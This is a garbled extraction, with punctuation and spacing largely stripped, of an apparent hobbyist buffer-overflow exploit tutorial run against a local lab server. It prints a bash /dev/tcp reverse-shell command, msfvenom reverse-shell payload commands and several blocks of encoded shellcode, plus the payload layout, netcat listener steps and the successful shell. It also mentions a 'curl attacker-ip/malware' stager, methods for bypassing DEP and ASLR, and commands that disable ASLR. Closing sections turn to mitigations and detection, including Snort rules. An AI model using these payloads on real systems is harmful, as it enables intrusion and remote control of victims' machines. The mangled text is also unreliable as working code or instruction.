NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
